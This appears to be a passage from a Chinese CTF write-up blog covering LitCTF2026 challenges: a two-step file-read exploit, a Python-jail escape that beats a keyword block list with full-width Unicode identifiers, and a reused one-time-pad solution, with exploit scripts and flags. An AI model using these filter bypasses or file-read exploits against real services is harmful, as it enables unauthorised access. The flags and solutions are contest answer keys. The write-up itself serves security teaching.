&quot;</span></span><br><span class="line">)</span><br><span class="line">p1 = recv_line(conn)</span><br><span class="line">c1 = safe_read(p1)</span><br></pre></td></tr></table></figure><p>逻辑：验证通过后，程序会提示输入第一个文件的路径。根据提示，应该输入 <code>/app/where_is_flag.txt</code>。</p><p>结果：程序会读取这个文件的内容，并用 <code>--- begin ---</code> 和 <code>--- end ---</code> 包裹打印给你。这个文件里存储着真正的 Flag 文件的存放路径（比如可能是 <code>/etc/flag</code> 或者 <code>/app/secret/flag.txt</code>）。</p><h3 id="3-第二步文件读取（获取-Flag）"><a href="#3-第二步文件读取（获取-Flag）" class="headerlink" title="3. 第二步文件读取（获取 Flag）"></a>3. 第二步文件读取（获取 Flag）</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">conn.sendall(<span class="string">b&quot;\n--- end ---\nFile path (2/2): &quot;</span>)</span><br><span class="line">p2 = recv_line(conn)</span><br><span class="line">c2 = safe_read(p2)</span><br><span class="line">conn.sendall(c2.encode(errors=<span class="string">&quot;replace&quot;</span>))</span><br></pre></td></tr></table></figure><p>逻辑：程序紧接着要求输入第二个文件路径。</p><p>要求：此时输入刚刚在第一步里看到的那个真正的 Flag 路径。</p><p>结果：程序读取并输出真正的 Flag 内容，随后关闭连接。</p><p>根据分析，需要编写一个简单的 Python 脚本，利用自带的 <code>socket</code> 库去连接题目环境，  </p><p>接收系统给出的 8 位随机字符串。</p><p>将其反转并发送回去。</p><p>当系统提示 <code>File path (1/2):</code> 时，发送 <code>/app/where_is_flag.txt</code>。</p><p>从返回的内容中提取出真正的 Flag 路径。</p><p>当系统提示 <code>File path (2/2):</code> 时，发送刚刚提取出的新路径。</p><p>打印出最后的输出，即可拿到 Flag。</p><p>exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&#x27;challenge.cyclens.tech&#x27;</span></span><br><span class="line">PORT = <span class="number">31117</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv_all</span>(<span class="params">s, timeout=<span class="number">5</span></span>):</span><br><span class="line">    s.settimeout(timeout)</span><br><span class="line">    data = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            chunk = s.recv(<span class="number">4096</span>).decode()</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            data += chunk</span><br><span class="line">        <span class="keyword">except</span> socket.timeout:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> socket.socket(socket.AF_INET, socket.SOCK_STREAM) <span class="keyword">as</span> s:</span><br><span class="line">    s.connect((HOST, PORT))</span><br><span class="line">    data = recv_all(s)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;Received 1:&#x27;</span>, <span class="built_in">repr</span>(data))</span><br><span class="line">    </span><br><span class="line">    challenge = data.split(<span class="string">&quot;&#x27;&quot;</span>)[<span class="number">1</span>]</span><br><span class="line">    ans = challenge[::-<span class="number">1</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;Sending reverse:&#x27;</span>, ans)</span><br><span class="line">    s.sendall((ans + <span class="string">&#x27;\n&#x27;</span>).encode())</span><br><span class="line">    </span><br><span class="line">    data = recv_all(s)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;Received 2:&#x27;</span>, <span class="built_in">repr</span>(data))</span><br><span class="line">    </span><br><span class="line">    s.sendall(<span class="string">b&#x27;/app/where_is_flag.txt\n&#x27;</span>)</span><br><span class="line">    data = recv_all(s)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;Received 3:&#x27;</span>, <span class="built_in">repr</span>(data))</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;--- begin ---&#x27;</span> <span class="keyword">in</span> data <span class="keyword">and</span> <span class="string">&#x27;--- end ---&#x27;</span> <span class="keyword">in</span> data:</span><br><span class="line">        content = data.split(<span class="string">&#x27;--- begin ---&#x27;</span>)[<span class="number">1</span>].split(<span class="string">&#x27;--- end ---&#x27;</span>)[<span class="number">0</span>].strip()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;Flag path:&#x27;</span>, content)</span><br><span class="line">        </span><br><span class="line">        s.sendall((content + <span class="string">&#x27;\n&#x27;</span>).encode())</span><br><span class="line">        data = recv_all(s)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;Final result:&#x27;</span>, <span class="built_in">repr</span>(data))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;Error: could not find flag path&#x27;</span>)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779518527730-4658f243-d9da-418b-b092-4f86d6e121d2.png" alt="img"></p><p>flag</p><p>flag{wlot52el-ya2x-4au-8gti-idnaozvlhamdi}</p><h2 id="LitCTF2026-lit-pyjail-unicode"><a href="#LitCTF2026-lit-pyjail-unicode" class="headerlink" title="[LitCTF2026] lit_pyjail_unicode"></a>[LitCTF2026] lit_pyjail_unicode</h2><p>题目附件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;LitCTF — Unicode 标识符绕过：过滤检查原始源码字符串，解释器仍接受全角等价标识符。&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line">PORT = <span class="number">9999</span></span><br><span class="line">MAX_QUEUED = <span class="number">64</span></span><br><span class="line">MAX_LINE = <span class="number">240</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 仅检查「你键入的文本」：ASCII 关键字用词边界，避免匹配到 important 等</span></span><br><span class="line">BANNED = re.<span class="built_in">compile</span>(</span><br><span class="line">    <span class="string">r&quot;\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|&quot;</span></span><br><span class="line">    <span class="string">r&quot;\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|&quot;</span></span><br><span class="line">    <span class="string">r&quot;\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b&quot;</span>,</span><br><span class="line">    re.IGNORECASE,</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">banned</span>(<span class="params">raw: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;\\u&quot;</span> <span class="keyword">in</span> raw <span class="keyword">or</span> <span class="string">&quot;\\U&quot;</span> <span class="keyword">in</span> raw <span class="keyword">or</span> <span class="string">&quot;\\x&quot;</span> <span class="keyword">in</span> raw:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> BANNED.search(raw) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">handle</span>(<span class="params">conn: socket.socket</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        conn.settimeout(<span class="number">60</span>)</span><br><span class="line">        conn.sendall(</span><br><span class="line">            <span class="string">b&quot;=== LitCTF pyjail unicode ===\n&quot;</span></span><br><span class="line">            <span class="string">b&quot;Send ONE line of Python. It will be eval() with full __builtins__.\n&quot;</span></span><br><span class="line">            <span class="string">b&quot;ASCII blacklist applies to your *source text* (see attachment jail.py).\n&quot;</span></span><br><span class="line">            <span class="string">b&quot;Goal: read /flag and get its str content.\n&gt; &quot;</span></span><br><span class="line">        )</span><br><span class="line">        raw = <span class="built_in">bytearray</span>()</span><br><span class="line">        <span class="keyword">while</span> <span class="built_in">len</span>(raw) &lt; MAX_LINE:</span><br><span class="line">            ch = conn.recv(<span class="number">1</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> ch:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">if</span> ch == <span class="string">b&quot;\n&quot;</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            raw += ch</span><br><span class="line">        line = raw.decode(<span class="string">&quot;utf-8&quot;</span>, errors=<span class="string">&quot;replace&quot;</span>).strip()</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> line:</span><br><span class="line">            conn.sendall(<span class="string">b&quot;empty\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        <span class="keyword">if</span> banned(line):</span><br><span class="line">            conn.sendall(<span class="string">b&quot;disallowed pattern in source\n&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            out = <span class="built_in">eval</span>(line, &#123;<span class="string">&quot;__builtins__&quot;</span>: __builtins__&#125;)</span><br><span class="line">            conn.sendall(<span class="built_in">repr</span>(out).encode(errors=<span class="string">&quot;replace&quot;</span>) + <span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            conn.sendall(<span class="string">f&quot;<span class="subst">&#123;<span class="built_in">type</span>(e).__name__&#125;</span>: <span class="subst">&#123;e&#125;</span>\n&quot;</span>.encode(errors=<span class="string">&quot;replace&quot;</span>))</span><br><span class="line">    <span class="keyword">finally</span>:</span><br><span class="line">        conn.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <span class="number">1</span>)</span><br><span class="line">    srv.bind((HOST, PORT))</span><br><span class="line">    srv.listen(MAX_QUEUED)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        c, _ = srv.accept()</span><br><span class="line">        threading.Thread(target=handle, args=(c,), daemon=<span class="literal">True</span>).start()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p> 这段代码是一个典型的 Python 沙箱逃逸（PyJail）题目后端服务。它的核心逻辑是：启动一个网络服务，接收用户输入的一行 Python 代码，在通过严格的黑名单过滤后，使用 <code>eval()</code> 执行这行代码。  </p><p> 代码的注释给出了提示 Unicode 标识符绕过 。</p><p>代码中给出的黑名单</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">BANNED = re.<span class="built_in">compile</span>(</span><br><span class="line">    <span class="string">r&quot;\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|&quot;</span></span><br><span class="line">    <span class="string">r&quot;\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|&quot;</span></span><br><span class="line">    <span class="string">r&quot;\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b&quot;</span>,</span><br><span class="line">    re.IGNORECASE,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>拦截的内容包括：</p><ol><li>危险内置函数：<code>eval</code>, <code>exec</code>, <code>open</code>, <code>compile</code>, <code>getattr</code> 等（防止你直接读文件或执行任意代码）。</li><li>模块与机制：<code>import</code>, <code>os.</code>, <code>sys.</code>, <code>subprocess</code> 等（防止你加载系统模块执行系统命令）。</li><li>特殊双下划线：<code>__</code>（防止你利用 Python 魔法属性进行黑客常见的「沙箱逃逸」，比如 <code>__class__</code>、<code>__builtins__</code>）。</li><li>编码转义：在 <code>banned</code> 函数中，还拦截了 <code>\u</code>, <code>\U</code>, <code>\x</code>。这意味着你不能通过 <code>&#39;\x5f\x5f&#39;</code> 这样的十六进制或 Unicode 转义字符串来拼凑出 <code>__</code>。</li></ol><p>当选手连接成功后：</p><ol><li>服务器限制最多读取 240 个字节（<code>MAX_LINE</code>），且遇到换行符 <code>\n</code> 就结束读取。</li><li>使用 <code>raw.decode(&quot;utf-8&quot;)</code> 将获取到的字节流解码为字符串。</li><li>触发防御检查：调用 <code>banned(line)</code>，如果命中了上面的黑名单，直接返回 <code>disallowed pattern in source</code> 并断开连接。</li><li>沙箱执行：如果没命中黑名单，则调用 <code>eval(line, &#123;&quot;__builtins__&quot;: __builtins__&#125;)</code> 执行代码，并将结果返回给选手。</li></ol><p>虽然作者写了非常严格的 ASCII 黑名单，并且封杀了 <code>\u</code> 这种转义写法，但这里存在一个逻辑悖论：题目过滤的是源码字符串，但 Python 解释器在执行前会对标识符做规范化处理。</p><p>Python解释器在解析源代码时，会对标识符进行NFKC归一化处理，将全角字符转换为对应的半角字符。这是Python官方规范的一部分，目的是支持Unicode标识符。</p><p>目标是读取 &#x2F;flag 文件的内容。正常情况下需要：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">open</span>(<span class="string">&#x27;/flag&#x27;</span>).read()</span><br></pre></td></tr></table></figure><p>但 open 和 read 都在黑名单中。</p><p>关键字替换为全角字符：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- <span class="built_in">open</span> → ｏｐｅｎ （全角）</span><br><span class="line">- read → ｒｅａｄ （全角）</span><br></pre></td></tr></table></figure><p>最终payload</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ｏｐｅｎ(<span class="string">&#x27;/flag&#x27;</span>).ｒｅａｄ()</span><br></pre></td></tr></table></figure><p>全角字符的Unicode码点范围是 U+FF01 到 U+FF5E ，对应ASCII字符的全角形式。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779516736504-bac62deb-3652-43ba-a552-d101b957f4da.png" alt="img"></p><p>向服务器发送payload收取响应</p><p>exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 全角字符：ｏｐｅｎ 和 ｒｅａｄ</span></span><br><span class="line"><span class="comment"># ｏ = U+FF4F, ｐ = U+FF50, ｅ = U+FF45, ｎ = U+FF4E</span></span><br><span class="line"><span class="comment"># ｒ = U+FF52, ａ = U+FF41, ｄ = U+FF44</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">&quot;\uff4f\uff50\uff45\uff4e(&#x27;/flag&#x27;).\uff52\uff45\uff41\uff44()\n&quot;</span></span><br><span class="line"></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">s.connect((<span class="string">&quot;challenge.cyclens.tech&quot;</span>, <span class="number">31731</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接收欢迎信息</span></span><br><span class="line"><span class="built_in">print</span>(s.recv(<span class="number">1024</span>).decode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 发送payload</span></span><br><span class="line">s.sendall(payload.encode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接收结果</span></span><br><span class="line">result = s.recv(<span class="number">1024</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Result:&quot;</span>, result.decode())</span><br><span class="line"></span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779516937983-9141b572-77fc-4e4e-9d97-57a6bcf96067.png" alt="img"></p><h1 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h1><h2 id="LitCTF2026-lit-xor-two-story"><a href="#LitCTF2026-lit-xor-two-story" class="headerlink" title="[LitCTF2026] lit_xor_two_story"></a>[LitCTF2026] lit_xor_two_story</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">LitCTF2026 — One-time pad reused for two messages (40 bytes each).</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Players receive output.txt and README; they do not receive secret.py.</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> annotations</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="keyword">from</span> secret <span class="keyword">import</span> M1_FLAG</span><br><span class="line"><span class="keyword">except</span> ImportError:</span><br><span class="line">    <span class="keyword">raise</span> SystemExit(</span><br><span class="line">        <span class="string">&quot;secret.py (organizer) is required to generate ciphertext; &quot;</span></span><br><span class="line">        <span class="string">&quot;players work from output.txt only.&quot;</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line"><span class="comment"># Public second message — duplicated in README for contestants.</span></span><br><span class="line">M2_KNOWN = <span class="string">b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> <span class="built_in">len</span>(M1_FLAG) == <span class="built_in">len</span>(M2_KNOWN) == <span class="number">40</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">xor_bytes</span>(<span class="params">a: <span class="built_in">bytes</span>, b: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(x ^ y <span class="keyword">for</span> x, y <span class="keyword">in</span> <span class="built_in">zip</span>(a, b))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    parser = argparse.ArgumentParser()</span><br><span class="line">    parser.add_argument(</span><br><span class="line">        <span class="string">&quot;--write&quot;</span>,</span><br><span class="line">        <span class="built_in">type</span>=Path,</span><br><span class="line">        <span class="built_in">help</span>=<span class="string">&quot;Write hex lines to file.&quot;</span>,</span><br><span class="line">    )</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">    n = <span class="built_in">len</span>(M1_FLAG)</span><br><span class="line">    k = os.urandom(n)</span><br><span class="line">    c1 = xor_bytes(M1_FLAG, k)</span><br><span class="line">    c2 = xor_bytes(M2_KNOWN, k)</span><br><span class="line"></span><br><span class="line">    lines = [</span><br><span class="line">        <span class="string">f&quot;c1 = <span class="subst">&#123;c1.<span class="built_in">hex</span>()&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;c2 = <span class="subst">&#123;c2.<span class="built_in">hex</span>()&#125;</span>&quot;</span>,</span><br><span class="line">        <span class="string">f&quot;len = <span class="subst">&#123;n&#125;</span>&quot;</span>,</span><br><span class="line">    ]</span><br><span class="line">    text = <span class="string">&quot;\n&quot;</span>.join(lines) + <span class="string">&quot;\n&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(text, end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> args.write:</span><br><span class="line">        args.write.write_text(text, encoding=<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br><span class="line"><span class="comment"># c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28</span></span><br><span class="line"><span class="comment"># c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474</span></span><br><span class="line"><span class="comment"># len = 40</span></span><br></pre></td></tr></table></figure><p>是 One-Time Pad（一次性密码本）重复使用漏洞。</p><p>因为：</p><ul><li><code>c1 = M1_FLAG XOR k</code></li><li><code>c2 = M2_KNOWN XOR k</code></li></ul><p>同一个 <code>k</code> 被重复用了，所以：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502428014-dfc2c058-9858-4393-8364-7ba85d98c980.png" alt="img"></p><p>而 <code>M2</code> 已知，因此：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502438281-5414312b-b6fb-445a-88fa-95d35d453fa7.png" alt="img"></p><p>这里的核心公式：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502455394-48a4d7d3-fa08-4739-b8eb-566084ff3202.png" alt="img"></p><p> 先把数据转成 bytes, 然后直接异或恢复： </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">c1 = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28&quot;</span>)</span><br><span class="line">c2 = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474&quot;</span>)</span><br><span class="line"></span><br><span class="line">m2 = <span class="string">b&quot;litctf2026_xor_keystream_reuse_40bytes!!&quot;</span></span><br><span class="line">flag = <span class="built_in">bytes</span>(a ^ b ^ c <span class="keyword">for</span> a, b, c <span class="keyword">in</span> <span class="built_in">zip</span>(c1, c2, m2))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779502596329-d740ab1b-ea1f-4f9c-9b6d-940d7363a2ac.png" alt="img"></p><h2 id="LitCTF2026-lit-elgamal-handshake"><a href="#LitCTF2026-lit-elgamal-handshake" class="headerlink" title="[LitCTF2026] lit_elgamal_handshake"></a>[LitCTF2026] lit_elgamal_handshake</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">LitCTF2026 — ElGamal handshake (story)</span></span><br><span class="line"><span class="string">Someone left debug logging on; the private exponent x was 